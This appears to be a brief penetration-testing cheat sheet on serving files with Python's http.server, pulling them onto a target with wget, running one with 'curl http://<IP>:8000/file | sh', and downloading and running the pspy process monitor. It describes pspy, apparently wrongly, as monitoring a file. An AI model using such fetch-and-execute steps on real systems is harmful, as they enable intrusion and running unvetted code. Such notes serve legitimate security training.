Python
We can use Python for a variety of tasks, including:
Start a web server
python3 -m http.server 8000
Download a file from the web server
wget http://<IP>:8000/file
Execute a file from the web server
curl http://<IP>:8000/file | sh
Monitor a file
We can use pspy
to monitor a file.
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64 <FILE>